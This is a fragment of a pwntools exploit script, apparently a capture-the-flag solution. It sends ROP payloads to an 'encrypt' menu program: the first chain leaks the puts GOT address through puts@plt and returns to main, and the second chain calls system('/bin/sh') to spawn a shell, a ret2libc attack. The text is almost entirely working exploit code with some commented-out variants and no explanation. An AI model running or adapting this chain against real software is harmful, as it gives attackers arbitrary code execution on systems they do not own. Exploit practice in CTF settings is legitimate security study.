payload+=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main_addr) p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
p.recvuntil(b'Ciphertext\n').strip() p.recvuntil(b'\n').strip() #p.recvuntil('Input your choice!\n') #leak_addr=u64(p.recvuntil('\n')[:-1].strip().ljust(8,'\0')) #puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0')) leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))
p.sendlineafter('choice!\n',b'1') payload2=b'\00'+b'a'*(0x50+7) #p64(0x4006b9) #payload2+=p64(pop_rdi)+p64(ret)+p64(ret) payload2+=p64(ret)+p64(pop_rdi) payload2+=p64(bin_sh_addr)+p64(system_addr) #p.sendlineafter(b'Input your Plaintext to be encrypted\n',payload2) p.sendlineafter(b"encrypted\n",payload2)